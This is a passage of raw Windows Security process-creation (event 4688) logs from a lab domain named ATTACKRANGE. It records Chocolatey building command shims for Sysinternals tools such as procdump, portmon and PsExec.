	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\procdump.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123417_3958\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123417_3958\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_3958\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_3958\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_3958\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246667
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdfc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd08
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246666
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd08
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\procdump.exe" --output="C:\ProgramData\chocolatey\bin\procdump.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\procdump.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246665
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x86c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x288
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE876.tmp" "c:\ProgramData\chocolatey\bin\CSCE66A8DC98C91406383AB77FDFB1C48CE.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246664
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd24
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x288
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246663
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x288
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x440
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\portmon.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123417_1770\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123417_1770\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_1770\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_1770\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_1770\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246662
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xed4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x440
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246661
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x440
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\portmon.exe" --output="C:\ProgramData\chocolatey\bin\portmon.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\portmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246660
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe20
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfe0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE78C.tmp" "c:\ProgramData\chocolatey\bin\CSC214895DE7549441F94CB48E0F673339.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246702
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa40
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf50
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246701
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf50
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsExec64.exe" --output="C:\ProgramData\chocolatey\bin\PsExec64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsExec64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246700
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe20
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xee0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESEEA1.tmp" "c:\ProgramData\chocolatey\bin\CSC1933DCDBB6DF47198134AF6BD4F50AB.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246699
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xee0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246698
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x530
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsExec.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_7552\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_7552\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_7552\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_7552\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_7552\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246697
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x844
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x530
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246696
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x530
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsExec.exe" --output="C:\ProgramData\chocolatey\bin\PsExec.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsExec.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246695
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xec8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESEDC6.tmp" "c:\ProgramData\chocolatey\bin\CSCEF36D3474CE448C4A98F43512093686E.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246694
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x364
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xec8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

